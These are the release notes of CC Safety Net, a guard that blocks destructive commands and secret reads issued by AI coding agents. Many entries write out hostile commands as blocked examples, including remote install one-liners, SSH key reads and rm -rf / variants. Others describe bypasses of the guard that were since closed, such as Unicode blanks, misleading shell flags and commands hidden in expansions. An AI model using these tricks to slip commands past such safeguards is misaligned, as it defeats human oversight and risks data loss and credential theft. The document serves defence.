リリース

This release closes a gap that let remote install one-liners such as bash -c "$(curl -fsSL …)" through unchecked, and replaces the misleading failure message that malformed tool calls used to produce.

Highlights

• Blocked remote install one-liners of the form bash -c "$(curl -fsSL https://…)" in every mode, matching the existing treatment of curl … | bash and eval "$(curl …)". (#276)
• Replaced the analysis.failed-closed denial for malformed tool calls with a dedicated tool-call.malformed denial that tells the agent to resend the call instead of reporting CC Safety Net as broken. (#279)

Added

• Added an install and update notice for DeepSeek Harness that names the other plugins found in each profile and prints the command to declare their shell tools, npx -y cc-safety-net rule tool add <tool-name>, so commands those tools run are checked. The notice is printed in English and Chinese, and is omitted for profiles that hold only cc-safety-net. (#281)

Changed

• Changed the denial for a tool call the model sent malformed — a missing or blank tool name, non-object arguments, a blank command, or a blank, non-string, or conflicting working-directory argument — to the new tool-call.malformed rule with the use_alternative intent. The call is still blocked and still recorded in the audit log. This covers the hook hosts (Kimi, Gemini, Devin, Hermes, Cursor, Antigravity, Grok) and the plugin hosts (DeepSeek Harness, OpenClaw, Amp, Pi, OpenCode). (#284, #282)
• Kept analysis.failed-closed for problems that come from the host rather than the model, including a non-object payload, a blank session working directory, a missing workspace root or path, input-size limits, and analysis faults. (#282)
• Improved the audit record for a nameless DeepSeek Harness tool call, which now carries the session working directory instead of no working directory. (#282)

Fixed

• Fixed the analyzer treating a remote fetch inside a shell -c script's command substitution as an ordinary dynamic first word, which only strict mode caught. A -c script whose substitution runs a remote fetcher such as curl, wget, xh, or nc is now a dynamic shell source in every mode, including through sudo, env, and -lc wrappers. Everyday substitutions such as bash -c "cd $(git rev-parse --show-toplevel) && bun test" and bash -c "$(cat x.sh)" are unaffected. (#276)

The policy GUI (cc-safety-net gui) now speaks Japanese and Simplified Chinese in addition to English, and it remembers your language and theme on disk instead of per-browser.

Highlights

• Added Japanese (日本語) and Simplified Chinese (简体中文) translations of the policy GUI, selectable from a new language picker in the sidebar (#274)

Added

• Added automatic language detection on first visit: the GUI picks English, Japanese, or Simplified Chinese from your browser's language preferences, and your explicit choice from the picker overrides it afterwards.
• Added locale-aware formatting in the GUI, so counts, dates, clock times, and relative times such as "2 hours ago" follow the active language.

Changed

• Changed where the GUI stores your language and theme choice: both are now saved server-side in ~/.cc-safety-net/gui.json instead of browser localStorage, so the same preferences apply in every browser you open the GUI from, and the chosen theme is applied before the page paints.
• Migration: A theme previously saved in localStorage is not carried over. Pick your theme once more under Settings if the GUI opens in the automatic theme.
• Changed the page's language attribute to follow the active locale, which improves screen-reader pronunciation.

This release closes an rsync --delete gap where an unscoped destination, including one that came from empty variables, was allowed at every protection level.

Added

• Added an rsync.delete rule that blocks rsync delete modes (--delete, --del, and abbreviations such as --delete-af) when the destination is outside the current directory, outside a trusted temp root, or supplied through a variable. Mirroring inside the workspace or between trusted temp paths stays allowed, except under paranoid rm, which blocks it too. (#271)
• Added catastrophic handling for rsync delete destinations: root, ~, and $HOME are denied as rm.recursive-force-root-or-home, and a .git destination is denied as rm.git-metadata. Neither denial can be turned off by policy.

Changed

• Changed rsync into a built-in analyzed command, so wrappers such as timeout and nice hand off to the new analysis, and rsync can no longer be listed in transparent_wrappers.
• Changed destination detection to fail closed: every operand after the source is checked as a possible destination, options placed after the operands or after -- are still read, and -n/--dry-run is evaluated like a real run. Remote destinations such as user@host:/path are skipped. Set rsync.delete to off if a multi-source command is too strictly blocked.

Fixed

• Fixed find {,} -delete being allowed: an empty brace expansion no longer counts as a scoped delete target.

The command analyzer now resolves more shell-script and source paths before deciding, so fewer safe scripts are blocked as unverifiable and heredoc-written scripts are still inspected when they are run through those paths.

Changed

• Improved heredoc script coverage: a script written by a heredoc and then executed directly by its path ($DIR/run.sh) is now checked against its recorded body instead of running unexamined. A body with a non-shell shebang such as #!/usr/bin/env python3, a body that cannot be parsed, or a body that exceeds analysis limits is allowed rather than blocked. (#270)
• Changed heredoc tracking so an intervening command that only assigns shell variables no longer discards it, which means a script written to $HOME/cleanup.sh and then run as Z=$HOME; bash $Z/cleanup.sh is still inspected. (#270)

Fixed

• Fixed source and . operands whose path comes from a literal assignment being blocked as an unverifiable shell execution source, so S=/tmp/work; source $S/env.sh is allowed in standard mode. (#270)
• Fixed script and source paths that start with an unquoted ~/, $HOME, or $PWD not resolving, so commands such as K=$PWD/kit; bash $K/run.sh and bash ~/bin/setup.sh are no longer blocked as unverifiable. $PWD stays unresolved when a wrapper changes the working directory. (#270)
• Fixed paths built from the macOS per-user temp directory not resolving: an assignment whose value is exactly $(getconf DARWIN_USER_TEMP_DIR) is now expanded by reading that value once from /usr/bin/getconf on macOS, so scripts under that directory are analyzed instead of blocked. (#270)

This release closes several ways a dangerous command could reach the shell unchecked: commands sent by Amp bypassing the secret, policy and Git-metadata guards, shell options that look like a syntax check but still execute, ambiguous -c option clusters, and Git discard relaxations in repositories that can redirect Git elsewhere. Commands containing a carriage return or an unquoted Unicode blank are now refused as unparseable.

Highlights

• Fixed a bypass in Amp, whose Bash tool sends the command outside input.command: cat .env, cat ~/.ssh/id_rsa, a redirect into the user policy file and a write under .git/hooks were allowed at every safety level. The secret, policy-config, policy-apply and Git-metadata guards now read the command that will actually run. (#264)
• Improved the shell syntax-check exemption, which allowed invocations that still execute their -c body, such as zsh -n -o exec -c '<cmd>', bash -nc +n '<cmd>' and ksh -n --exec -c '<cmd>'. The exemption now holds only when every option word is -n or -c; anything else is analyzed normally. (#267)

Changed

• Changed auto shell mode to evaluate both readings of a command that it guesses is PowerShell: the command is denied when either the PowerShell or the POSIX reading denies. (#265)
• Changed cc-safety-net explain to report the trace of the shell reading that produced the decision instead of mixing both readings. (#265)
• Changed Git discard relaxations for disposable temporary repositories and linked worktrees to be withheld when the repository can send Git elsewhere — a core.worktree setting in the command, the shared config or config.worktree, a symlink or FIFO inside the Git directory, or a HEAD in an ancestor directory. Force-clean and discard commands in such a repository are blocked at standard and strict safety. (#269)
• Changed command parsing to refuse a carriage return, vertical tab or form feed anywhere in a POSIX-parsed command, at every safety level. Heredoc bodies with CRLF line endings that were previously allowed are now blocked. (#268)

Fixed

• Fixed shell argv whose -c cluster hides the real command string being allowed — bash -c -x '<cmd>', sh -c - '<cmd>', dash -oc pipefail '<cmd>', ksh -oc '<cmd>', zsh -ocorrect -c '<cmd>' and any argv containing a + option word. These are now refused because the command string cannot be identified, including through xargs, parallel, find -exec and heredocs. Real syntax checks such as bash -n script.sh and bash -n -c '<cmd>', and bash -o pipefail -c 'echo ok', stay allowed. (#267)
• Fixed unquoted Unicode blanks being treated as word separators when bash and zsh keep them inside a word, so a command such as rm<NBSP>-rf /tmp/x was analyzed differently from how the shell runs it. Non-breaking space, U+3000, U+2000–U+200A, U+202F, U+205F, the byte order mark and others are now refused; a blank inside quotes or a heredoc body is still allowed, so quoted non-ASCII text such as a commit message is unaffected. (#268)

A maintenance release that fixes how malformed commands are refused, keeps the Factory Droid uninstall from leaving the hook active, and closes a Windows workdir gap in the Hermes Agent integration.

Changed

• Improved shell-command analysis performance for deeply nested and very long commands by no longer copying and freezing the parse tree on every analysis. (#261)

Fixed

• Fixed ccsn explain printing a raw internal error for a command the shell parser cannot parse, such as echo ${. It now prints the unparseable-command reason on stderr and exits 1, or {"error": ...} with --json. (#262)
• Fixed hook denials and audit entries for an unparseable command reporting the generic "failed unexpectedly" internal failure. They now report the rule analysis.strict-unparseable, and ccsn logs <id> shows the error code unparseable-command. Such commands are still denied at every safety level. (#262)
• Fixed uninstall --droid deleting ~/.factory/hooks.json while the legacy ~/.factory/hooks/hooks.json still contained the managed handler, which reported a successful uninstall while Factory Droid kept running the hook. The stripped hooks.json is now kept whenever either fallback file exists. (#259)
• Fixed the Hermes Agent integration allowing a terminal call whose workdir used the Windows namespace form (\\?\C:\...). It is now denied as an unusable requested directory, matching every other integration. (#261)

This release closes host-integration gaps found by a drift audit: several tool calls that previously reached a shell without analysis are now checked, and doctor no longer reports a host as protected while that host is skipping the hook.

Highlights

• Analyzed tool calls that previously ran unchecked: Devin exec working directories and write_to_process key input, Antigravity CLI manage_task input, Grok Build's run_terminal_cmd, bash, and Shell tools, and OpenCode's forced opencode_worktree_remove.
• doctor now reports disabled instead of configured when the host skips the hook: a Grok Build disabled-hooks entry, an invalid Kimi Code [[hooks]] entry that makes Kimi drop every hook, or a Pi extensions filter that does not load the extension.

Added

• Added Kimi Code plugin detection: doctor reads plugins/installed.json and reports the plugin configured, or disabled when it is installed but not enabled. update skips the plugin and names the in-host step (/plugins, Installed tab) because it cannot run Kimi's own plugin update. (#257)

Changed

• Changed Claude Code to ask instead of deny in the auto permission mode when standard mode cannot verify a command; the permission prompt still reaches a person there, and Claude Code's classifier cannot approve the call without it. (#254)
• Changed Factory Droid denials to print the reason to stderr and exit 2 in addition to the JSON decision, so a co-installed allow or ask hook can no longer drop the block. (#253)
• Changed install --droid seeding: when ~/.factory/hooks.json does not exist yet, it now carries over every event from the legacy ~/.factory/hooks/hooks.json and only PreToolUse from settings.json, instead of freezing every settings.json event. (#253)
• Changed Grok Build command-tool coverage, so rule tool add now refuses run_terminal_cmd, bash, and Shell as Grok Build built-ins. A bash workdir or Shell working_directory outside the workspace root is denied, and a blank or non-string value fails closed. (#248)

Fixed

• Fixed Devin exec calls ignoring workdir, so a command is analyzed against the directory it runs in. (#247)
• Fixed Devin write_to_process analysis: bytes_input is analyzed as typed text with <CR> and <LF> ending lines, and a call whose text is combined with line-editing keys, an undocumented key token, or text in both text_input and bytes_input is denied rather than analyzed as a line the receiving program would not run. (#247)
• Fixed Antigravity CLI manage_task with Action: "send_input" reaching a running process without analysis; its Input is now analyzed as a command. (#247)
• Fixed grep-style tool calls skipping path checks on their filter arguments; glob_pattern, dir_path, and include_pattern are now checked, closing secret-file reads through Droid, Devin, and Gemini CLI grep filters. (#250)
• Fixed Gemini CLI file paths being analyzed only as sent; file_path is now also analyzed as the host rewrites it, with NUL bytes removed and a leading @ stripped when the literal path does not exist. (#250)
• Fixed OpenCode Code Mode opencode_worktree_remove with force: true discarding untracked files without analysis; it is now checked as git worktree remove --force, matching the verdict for the shell form. (#251)
• Fixed the OpenCode v1 shell dialect on Windows: with no configured shell, the adapter now follows SHELL as the host does, instead of always assuming PowerShell. (#251)
• Fixed install --opencode and update failing with Plugin is not configured when the OpenCode v2 service was not running. (#251)
• Fixed doctor and update missing a Claude Code plugin install when CLAUDE_CODE_PLUGIN_CACHE_DIR is set. (#254)
• Fixed the Cursor check following CLAUDE_CONFIG_DIR, which could advise removing Cursor's only working hook; Cursor imports the Claude Code plugin from ~/.claude only. (#254)
• Fixed install --droid and doctor failing on a comment in hooks.json or settings.json; both files are now parsed as JSONC, as Droid parses them. (#253)
• Fixed GitHub Copilot CLI disableAllHooks handling: a hook file that disables hooks for itself is no longer counted as active, disableAllHooks in the user settings.json now drops only that file's inline hooks instead of every method, and ~/.copilot/config.json is no longer read for hooks. (#256)
• Fixed the Kimi Code plugin install instructions and method prompt omitting the double-hook caution when the detected global hook was reported disabled by an invalid sibling hooks entry. (#257)
• Fixed unreadable host state aborting detection: an unreadable Grok Build disabled-hooks file or Kimi Code plugins/installed.json is now reported as an error naming the file instead of stopping doctor, install, and update discovery. (#257)

Security

• Documented four host behaviors CC Safety Net cannot correct: openclaw agent exec loads no plugin hook, Kimi Code kimi web and ACP sessions report the server's directory as the session cwd, OpenCode v1 on Windows can convert a POSIX-rooted workdir differently than the adapter resolves it, and install --deepseek-harness covers the web and desktop profiles only. See SECURITY.md.
• Clarified reporting guidance: a redaction gap for a value the tool call itself supplied, appearing only in that caller's denial message or the local audit log, is an ordinary public bug, while disclosure of a secret the caller did not supply remains private disclosure.

Command analysis can now be extended to shell tools that no integration knows about, so commands run through a plugin's own shell tool are gated like built-in shell commands instead of passing as an unknown tool.

Added

• Added command_tools to rule.json: exact tool names whose command argument is analyzed like a built-in shell tool. A declaration applies only to a tool the integration routed as unknown and only when the input carries a non-empty string command, it is evaluated at your own safety level, and an allowed call is audited with its command and working directory. User and project lists merge, and the user entry wins a name declared in both. (#243, #242)
• Added a per-declaration working-directory argument — { "name": "ops_run_background", "cwd": "cwd" }, or workdir, cwd, or working_directory when unspecified. An omitted argument uses the session workspace; a blank, non-string, conflicting, or nonexistent-directory value is denied.
• Added cc-safety-net rule tool add <name...> [--cwd-arg <name>] [--project], rule tool remove <name...> [--project], and rule tool list to manage declarations without editing rule.json by hand. add and remove default to the user scope and print the scope and file written; list shows each entry's scope and working-directory argument. (#244)
• Added a refusal for declaring a tool that is already analyzed: rule tool add rejects a name that matches any integration's built-in shell tool — naming those integrations — or a built-in file tool, and rule verify reports such a name in either scope's rule.json.
• Added command_tools to the published JSON Schema (assets/cc-safety-net.schema.json) so editors complete and validate the field.

This release removes two false denials in standard mode: a PowerShell ForEach-Object or Where-Object pipeline is now parsed as PowerShell, and an inline script literal that the code only prints is treated as inert data.

Fixed

• Fixed auto shell detection so a ForEach-Object or Where-Object pipeline selects the PowerShell parser and its script block is read as PowerShell. A property reference such as $records | ForEach-Object { $_.key } is no longer denied as a *.key secret file, while a real read inside the block, such as ForEach-Object { Get-Content server.key }, is still blocked. (#239)
• Fixed standard mode to treat a string literal that inline Python or JavaScript code only prints as inert data, so python3 -c "print('credentials'); Path('report.md').read_text()" and node -e 'const path = ".env"; console.log(path); require("fs").readFileSync("README.md")' are allowed. A literal stays a candidate when its name is actually opened, and when print or console is rebound, redefined, or used as anything other than a display call. (#240)

Disk-device destruction is now a protected category at every safety level, so commands that erase, reformat, or repartition a disk are blocked instead of allowed. Read-only disk inspection and disk-image targets stay allowed, and dd writes to /dev/null, /dev/zero, and /dev/full are no longer blocked.

Highlights

• Blocked disk erase, repartition, and output redirects onto a disk device at every safety level, closing a gap where only dd of=/dev/… and mkfs* /dev/… were caught. (#236)

Added

• Added the disk.erase rule, which blocks diskutil erase and partition verbs (eraseDisk, eraseVolume, reformat, partitionDisk, zeroDisk, randomDisk, secureErase), wipefs -a/-o, sgdisk write options, and parted mklabel/mktable/mkpart/rm/resizepart. (#237)
• Read-only inspection and disk-image targets stay allowed, such as diskutil list, diskutil info disk4, wipefs /dev/sdb, sgdisk -p /dev/sda, parted /dev/sda print, parted -l, and parted disk.img mklabel gpt.
• Added the redirect.block-device rule, which blocks >, >|, >>, <>, and >& redirects whose literal target is a disk device such as /dev/sda, /dev/nvme0n1, or /dev/disk4, including inside a nested sh -c body. Non-disk device paths such as /dev/null, /dev/tty, and /dev/cu.* stay allowed. (#237)

Changed

• Changed the mkfs.device rule to also cover mke2fs, newfs, and newfs_* on a /dev/ target.
• Changed disk-tool dry runs and the RAM-disk idiom to be blocked by the new rules, including wipefs -n -a, sgdisk --pretend with a write option, and diskutil erasevolume HFS+ RAMDisk $(hdiutil attach -nomount ram://…). Set disk.erase to "off" under destructive_command_protection.overrides to allow them.

Fixed

• Fixed dd being blocked when writing to a discard sink: of=/dev/null, of=/dev/zero, and of=/dev/full are now allowed, so read-speed tests such as dd if=big.bin of=/dev/null bs=1M run again. (#237)

Secret-file protection now looks inside scripts handed to pwsh and powershell, closing a gap where a secret read wrapped in pwsh -c was allowed at every safety level.

Changed

• Changed deeply nested pwsh -c scripts to stop at the derived-command work limit instead of being walked without bound. (#235)
• Documented in SECURITY.md that findings from Anthropic's OSS Scanner are fixed privately, with a public issue opened only after the fix is released.

Fixed

• Fixed secret-file protection ignoring the script passed to pwsh or powershell, so a read such as pwsh -c 'Get-Content ~/.ssh/config' is now blocked like the same read through bash -c. Windows-style paths (~\.ssh\config), the -Command spelling, leading switches such as -NoProfile, and the pwsh.exe form are all covered. (#235)
• Fixed a PowerShell script being analyzed under POSIX rules when the same script text had already been parsed as POSIX earlier in the command, such as after an eval. (#235)

A metadata-only release that corrects how CC Safety Net appears in the Claude Code plugin directory. Command analysis and blocking behavior are unchanged from v2.6.5.

Changed

• Improved the Claude Code plugin listing: the manifest now sets displayName to CC Safety Net, so the directory no longer titles it Cc Safety Net. The plugin name stays cc-safety-net, so installs and command namespacing are unaffected.
• Changed the Claude Code plugin keywords to security, safety, guardrails, destructive-commands, secret-protection, git, rm-rf, env-files, ssh-keys, and pretooluse, which makes secret-file protection discoverable in the directory. Keywords for Codex, Cursor, Kimi Code, and npm are unchanged.

Opening the local policy GUI no longer runs gh with your GitHub login; gh now runs only when you click Star on GitHub.

Added

• Added documentation, support, privacy policy, and terms-of-service links to the Claude Code plugin manifest, so the plugin directory listing shows them instead of reporting them as not set.

Changed

• Changed the policy GUI overview to always show the Star on GitHub button and removed its "One click via your GitHub CLI" note, since the GUI no longer checks whether you have already starred the repository.

Fixed

• Fixed the policy GUI using your GitHub login without a click. On open, /api/star/context previously ran gh auth status and gh api /user/starred/... to decide whether to show the star prompt; it now returns only the anonymous star count and your local blocked total, and gh is invoked only when you click Star on GitHub.

The published plugin tree now ships the project README.md, so a plugin install includes the documentation with links that resolve outside the repository.

Fixed

• Fixed the published plugin tree omitting README.md. Installs that pull the plugin tree now get the project README, with its relative links and images rewritten to absolute URLs pinned to the release tag so they resolve from the installed copy.

Kimi Code plugin installs now point at the slim plugin branch, and Cursor's native plugin route is visible to doctor, install, and uninstall. The published plugin tree also ships the CC Safety Net logo so plugin listings show an icon.

Added

• Added native Cursor plugin detection to doctor: a manually installed Cursor plugin is now reported, with a note that cc-safety-net update cannot update it because Cursor pins marketplace plugins to the commit they were added at, and a warning that every tool call is checked twice when the npx hook is configured as well. (#233)
• Added Cursor marketplace cleanup to cc-safety-net uninstall --cursor: when the plugin folders exist, it removes the cc-safety-net marketplace from your Cursor account, deletes the cached plugin files, and tells you to finish the removal in /plugins if cursor-agent still lists the plugin. (#233)
• Added assets/logo.svg and assets/logo.png to the published plugin tree, referenced by its Claude Code, Codex, and Cursor manifests, so plugin listings show the CC Safety Net icon. (#233)

Changed

• Changed the printed Kimi Code instruction to install from https://github.com/kenryu42/cc-safety-net/tree/plugin, the slim plugin branch, instead of the repository root. (#233)
• Improved Cursor detection in the interactive installer: Cursor is now offered when only cursor-agent is on PATH, not just when the cursor command is. (#233)
• Changed cc-safety-net update to leave Cursor alone when it is covered only by its native plugin, instead of writing the npx hook on top of it. (#233)

Cursor is now recognized as protected when the Claude Code plugin carries its hook, and doctor points out the duplicate check when both the plugin and the Cursor hook are active.

Added

• Added detection of Cursor protection through the Claude Code plugin: when an enabled user-scope Claude Code plugin install carries a .cursor-plugin/plugin.json with its hook file, doctor reports Cursor as configured with method Claude Code plugin instead of absent, noting that this only holds while Cursor imports Claude Code plugins, which doctor cannot verify (#231)

Changed

• Changed doctor to warn when both the Claude Code plugin and the Cursor hook are configured, since every tool call is then checked twice, and to suggest cc-safety-net uninstall --cursor to drop the duplicate hook (#231)
• Changed update so it no longer writes the Cursor hook into ~/.cursor/hooks.json for a Cursor that is covered only through the Claude Code plugin, and uninstall no longer offers that Cursor as an installed target (#231)

The analyzer now reads inside Windows cmd /c and powershell -Command wrappers, closing a gap where a recursive delete nested in either one was allowed. This release also fixes a hook crash on long interpreter string literals, clears a batch of standard-mode secret-protection false positives, and ships a Cursor plugin.

Highlights

• Added analysis of commands nested in Windows shell wrappers. In v2.6.0 forms such as cmd /c "rmdir /s /q C:\" and powershell -Command "Remove-Item -Recurse -Force C:\" were allowed; they are now blocked as catastrophic hard stops, in every permission mode. (#226, #227)
• Fixed the v2.6.0 hook failing closed with "command analysis failed unexpectedly" on commands containing a very long string literal, such as a python3 - <<'EOF' script that edits source files. (#224)
• Added a Cursor plugin, so CC Safety Net can be installed from Cursor's Customize screen instead of the npx user hook. (#230)

Added

• Added the cmd.recursive-delete-* rule family for rmdir/rd/del/erase with /s inside a cmd /c, cmd /k, or Git Bash //c body. Targets are judged by the existing recursive-delete rules against the outer working directory, and every other piece of the body is analyzed as a command of the outer shell, so a rm -rf / nested in a cmd body is also denied. Deletes that stay inside the current directory remain allowed. (#226)
• Added the powershell.nested-recursive-delete-unread rule. A powershell/pwsh invocation in the one shape the analyzer reads — optional -NoProfile, -NonInteractive, -NoLogo, or -ExecutionPolicy, then -Command/-c with literal script words — is analyzed as PowerShell; any other form that names a delete command and a recursive switch is blocked instead of allowed. -EncodedCommand is refused as an unverifiable shell source. (#227)

Changed

• Reduced standard-mode secret-protection false positives. Words outside string literals in Python and JavaScript code are no longer treated as paths; f-strings and untagged JS templates are masked as literals; and when code holds an access marker, Python and JavaScript literals are judged by position, so a collection element, dict key or value, subscript key, or in/==/!= operand counts as data rather than a path. (#219, #220)
• Relaxed standard mode for names that are created or counted rather than read: a mkdir or touch operand, wc with only count options, grep/rg limited to names, counts, or exit status, a for list word whose variable reaches no reader, tailscale cert --cert-file/--key-file outputs, and the input of openssl x509 -in. Each relaxation turns off wherever the name could still reach a reader — a later pipe, a coprocess, a command or process substitution, or an interpreter execution call — and none of them relax home-directory paths, coding-CLI credential paths, or configured deny paths. (#222, #225)
• Relaxed a literal that only names the file a write creates (Path(...).write_text, open(p, 'w'), writeFile/appendFile/Bun.write) like an output redirection, and only where no such file exists. (#225)
• Exempted .env.tpl in every mode, alongside .env.example, .env.sample, and .env.template. Home-directory rules now run before the template exemptions, so ~/.ssh/.env.tpl stays protected. (#222)
• Redesigned the local policy GUI (cc-safety-net gui) for readability: tidier Protections toolbar, disclosures and card headers, visible ends of long paths, fewer repeated labels, and clearer Activity row actions. Activity and Protections filters are now kept in the page address, so Back, reload, and sidebar links behave as expected. (#229)
• Simplified the false-positive report: the title is prefilled from the blocked command, and the explanation of what you were doing is now optional in both the GUI form and the GitHub issue template. (#229)

Fixed

• Fixed rm -rf inside a project being denied as rm.recursive-force-outside-cwd after cd /d/<project> on Windows with Git Bash. The POSIX cd operand is now MSYS-normalized before resolving, matching the behavior of cd D:/<project>. (#223, #228)
• Fixed path-variable expansion giving up on an unclosed unsupported ${, which left the rest of the value unexpanded. Later supported variables now expand, and an excessive number of unclosed expansions is refused. (#226)
• Fixed uv run python - <<EOF bodies being walked as shell words instead of analyzed as Python, in every mode. (#225)

Breaking Changes

• A recursive delete handed to powershell or pwsh in any form other than literal -Command script words is now denied in every permission mode, including -File, a positional script, -WorkingDirectory, and an outer-expanded word.
• Migration: Pass the script as a single -Command with literal paths, after at most -NoProfile, -NonInteractive, -NoLogo, or -ExecutionPolicy.
• A cmd /c or cmd /k recursive delete whose quoting can reach cmd as \", or whose target uses a \\?\ or \\.\ namespace path, is now denied in every permission mode, because cmd does not treat \" as an escape and the target can split down to the drive root.
• Migration: Pass each path as its own quoted argument, or use Remove-Item -LiteralPath.
• A cmd body containing ^, %, !, a directory-change word, or a delete the bounded reader cannot parse is refused as an unverifiable shell source, which asks the user where the host can prompt.
• Migration: Write the delete with a literal path and no escape or expansion characters, or run it manually.

This release adds Factory Droid and Devin CLI protection, and makes shell analysis see destructive commands that were previously hidden inside ${...} parameter expansions.

Highlights

• Added protection for Factory Droid and Devin CLI, including hook installation, doctor reporting, and built-in rules for their credential and config files. (#197, #198, #200)
• Commands hidden inside a ${...} parameter expansion are now analyzed instead of skipped, so echo ${x:-$(rm -rf ~/)} is blocked. (#214)
• Fixed false blocks on URL query text, so requests such as curl 'https://example.com/todos?order=id.asc' are no longer treated as reads of a sensitive .asc file. (#217)

Added

• Added Factory Droid support with cc-safety-net install --droid, the -fd/--droid hook flags, and a managed PreToolUse entry in ~/.factory/hooks.json. (#198)
• Added Devin CLI support with cc-safety-net install --devin, the -dv/--devin hook flags, and a managed PreToolUse entry in the user config ($XDG_CONFIG_HOME/devin/config.json, or %APPDATA%\devin\config.json on Windows). Comments in Devin's config.json are accepted. The adapter also analyzes the text sent by write_to_process. (#200)
• Added built-in secret rules for Factory Droid credentials (~/.factory/auth.encrypted, auth.v2.file, auth.v2.key, auth.v2.loginkeychain) and config (~/.factory/settings.json, hooks.json, mcp.json, and a project .factory/mcp.json), and for Devin CLI credentials (~/.local/share/devin/credentials.toml, ~/.local/share/devin/mcp/oauth) and config (~/.config/devin/config.json). Relocations through XDG_DATA_HOME and XDG_CONFIG_HOME are honored. (#197)
• Added sensitive-path checks for the folder and patterns inputs of glob tools, so a glob over a credential directory is blocked. (#198)

Changed

• Shell analysis now refuses, at every safety level, constructs whose real meaning cannot be determined: ${ list; } function substitutions (including inside heredoc bodies, across line continuations, and when the parser's depth limit cuts them off), a backslash escape inside backticks, an unclosed ${, and a quote, backslash, or line continuation inside ${ } next to a substitution. Such a command is reported as unanalyzable and denied rather than allowed. (#211, #214)
• shell: "posix" in the OpenCode plugin now accepts any shell that runs POSIX sh syntax, such as ash or mksh, by running a short probe through <shell> -c once per executable instead of matching a list of shell names. cmd.exe, fish, nushell, and tcsh are still rejected, and the probe ends at a 10-second deadline. (#209)
• Atomic config writes now keep the replaced file's permission bits instead of resetting them to the default. (#198)

Fixed

• Fixed destructive commands being skipped inside a ${...} parameter-expansion operand, a substitution glued to a variable in double quotes (echo "$x$(rm -rf ~/)"), and a double-quoted arithmetic substitution. (#214, #215)
• Fixed strict-mode denials of commands that are in fact analyzable: each nested command substitution now tracks its own quote state, so echo $(dirname "$(command -v node)") and echo $(printf "x'$(git status)'y") are allowed instead of refused as unparseable. (#215)
• Fixed built-in extension rules such as .pem and .asc matching URL query text. A word holding a query parameter (?key= or &key=) that names no existing file, and the value after a query's =, are no longer read as paths; a file that really has such a name stays protected. A curl -d, --data, --data-ascii, --data-binary, --data-urlencode, -F, or --form value is now checked only as the @file or <file upload it names. (#217)
• Fixed the user policy being read as a project policy when a command runs from the home directory. policy check and policy apply now refuse and point to --global, rule write subcommands refuse, rule migrate skips the project scope, the policy GUI refuses to use the user policy as a project draft, and policy loading no longer counts the user policy twice. Symlinked home directories are matched as well. (#201, #202, #203, #205)
• Fixed uninstall --droid deleting ~/.factory/hooks.json while ~/.factory/settings.json exists, which would have let the hooks in settings.json load again, and doctor now reports a managed Droid hook narrowed by commandRegex. (#198)

This release closes three analyzer bypasses that let destructive commands run, and adds CC_SAFETY_NET_PROJECT_TIGHTEN_ONLY=1 so a project policy can only tighten your own. The rule IDs reported for policy-config, policy-apply, and Git-metadata denials were renamed.

Highlights

• Added CC_SAFETY_NET_PROJECT_TIGHTEN_ONLY=1, which makes a cloned repository's .cc-safety-net/policy.json unable to switch off protection you turned on. (#194)
• Closed bypasses where rm -r without -f, a caffeinate-wrapped command, and some GNU parallel templates escaped the checks their equivalent forms get. (#191, #188, #190)
• Every denial now carries a stable rule ID, so explain --json, the audit log, and checkCommand always identify which rule fired. (#193)

Added

• Added CC_SAFETY_NET_PROJECT_TIGHTEN_ONLY=1. With it set, project policy settings that weaken the user policy — a lowered level, disabled capabilities, disabled protections, rules switched off, worktree relaxations, and added allow paths — are ignored, while the project file's tightenings still apply. status and doctor label the ignored deltas, and the statusline drops its weakening marker. The variable is listed in --help and doctor. (#194)
• Added a ruleId to denials that previously reported none, including analysis and recursion limits, strict-mode parse failures, unsupported heredoc syntax, unverifiable dynamic shell sources, and working-directory denials. checkCommand now always returns ruleId on a deny result. (#193)
• Added a doctor warning when a legacy inline rule config (.safety-net.json or ~/.cc-safety-net/config.json) still exists even though it is no longer loaded, naming the files and pointing to cc-safety-net rule migrate.

Changed

• Changed find <subdir> -delete to be allowed when its starting point resolves inside the workspace, matching what rm -rf <subdir> already allowed. find . -delete, starting points outside the workspace, -L and -follow, and Git metadata in a repository stay blocked, as does any such find -delete while paranoid rm is on. (#192)
• Changed the workspace scoping for find -delete to follow the effective rm.recursive-force-paranoid rule state, so an override of that rule now applies identically to rm -rf and find -delete.

Fixed

• Fixed uninstalling the Kimi CLI hook writing an invalid TOML config when a commented-out hook preceded the managed entry. (#182)

Breaking Changes

• Renamed the rule IDs reported for the pre-analysis guards: policy-protection is now guard.policy-config, policy-apply-protection is now guard.policy-apply, and git-metadata-protection is now guard.git-metadata. This affects anything that matches on ruleId from explain --json, the audit log, or the checkCommand library API. Denial reasons and behavior are unchanged.
• Migration: Update any dashboard, filter, or script that matches the old IDs to the new guard.* names.

Security

• Fixed rm -r, rm -R, and rm --recursive without -f skipping the target checks that the -rf forms get, so a recursive delete outside the current directory is now blocked, including through xargs and parallel. Strict and paranoid rm rules now apply to these forms as well. (#191)
• Fixed caffeinate <command> not being unwrapped like nohup and timeout, which let the wrapped command skip device, interpreter, and custom-rule checks. (#188)
• Fixed GNU parallel job values not being shell-quoted the way parallel itself quotes them, which let templates such as parallel {} ::: 'rm -rf /' and parallel 'sh -c {}' ::: 'rm -rf /' through. A quoted template with a very large job list also no longer exhausts the analysis budget, and such a template no longer picks up the linked-worktree relaxation. (#190)

A maintenance release that fixes DeepSeek Harness installs landing an older cc-safety-net than the one you ran.

Changed

• Simplified the error shown when DeepSeek Harness installs the bundle without enabling it; it now points only at the Plugins page, since a pinned install cannot receive a release that lacks DeepSeek Harness support. (#181)

Fixed

• Fixed DeepSeek Harness installs and updates landing an outdated cc-safety-net. install --deepseek-harness and update now run add cc-safety-net@<installer version> for the Desktop and web profiles, so pnpm's 24-hour minimumReleaseAge default can no longer resolve a previous release that DeepSeek Harness then leaves disabled. (#181)

This release adds DeepSeek Harness support and closes a gap that let PowerShell recursive deletions aimed at the home directory through $home or ${home} run unblocked.

Added

• Added DeepSeek Harness integration. npx -y cc-safety-net@latest install --deepseek-harness adds cc-safety-net as a profile plugin bundle to the Desktop app and the web profile, and uninstall --deepseek-harness removes it; the guard analyzes bash, pwsh, and file tool calls against the session workspace and can only deny. Quit DeepSeek Harness Desktop before installing, because Desktop plugins can only change while it is closed. (#180)
• Added a deepseek-harness entry to doctor and doctor --json, reporting the profiles where the bundle is installed and calling out a profile where it is installed but disabled.

Changed

• Changed the policy GUI to use the brand logo and favicon from the README, replacing the previous wordmark and mesh favicon.

Fixed

